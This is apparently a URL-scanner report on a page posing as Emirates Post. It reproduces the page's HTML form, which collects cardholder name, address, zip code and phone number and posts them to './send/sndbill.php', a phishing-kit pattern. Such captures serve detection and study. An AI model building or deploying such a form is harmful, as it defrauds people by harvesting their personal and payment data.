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Form analysis
1 forms found in the DOM

Name: form — POST ./send/sndbill.php

<form id="cardForm" name="form" action="./send/sndbill.php" method="post">
  <div id="payment_card" class="card">
    <div class="card-body">
      <div class="form-group mb-1">
        <label class="label" for="cnbbb">Card holders name</label>
        <input type="text" class="form-control" id="holderName" name="sn1" placeholder="Your full name" value="" required="">
        <div id="sn1" class="invalid-feedback"></div>
        <label class="label" for="cnbbb">Address 1</label>
        <input type="text" class="form-control" id="holderName" name="sn2" placeholder="Address 1" value="" required="">
        <div id="sn2" class="invalid-feedback"></div>
        <label class="label" for="cnbbb">Address 2</label>
        <input type="text" class="form-control" id="holderName" name="sn2" placeholder="Address 2" value="">
        <div id="sn2" class="invalid-feedback"></div>
        <label class="label" for="cnbbb">City</label>
        <input type="text" class="form-control" id="holderName" name="sn3" placeholder="City" value="" required="">
        <div id="sn3" class="invalid-feedback"></div>
        <label class="label" for="cnbbb">Zip Code</label>
        <input type="text" class="form-control" id="holderName" name="sn4" placeholder="Zip Code" value="" required="">
        <div id="sn4" class="invalid-feedback"></div>
        <label class="label" for="cnbbb">Phone Number</label>
        <input type="text" class="form-control" id="holderName" name="sn5" placeholder="Phone Number" value="" required="">
        <div id="sn5" class="invalid-feedback"></div>
      </div>
      <div id="cvv-feedback" class="invalid-feedback"></div>
    </div>
  </div>
  <div class="col-md-12">
    <div class="form-group">
      <input value="Continue" type="submit" class="btn btn-primary btn-lg btn-block text-uppercase pt_pay_btn">
    </div>
  </div>
</form>

Text Content

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Emirates Post
Card holders name

Address 1

Address 2

City

Zip Code

Phone Number




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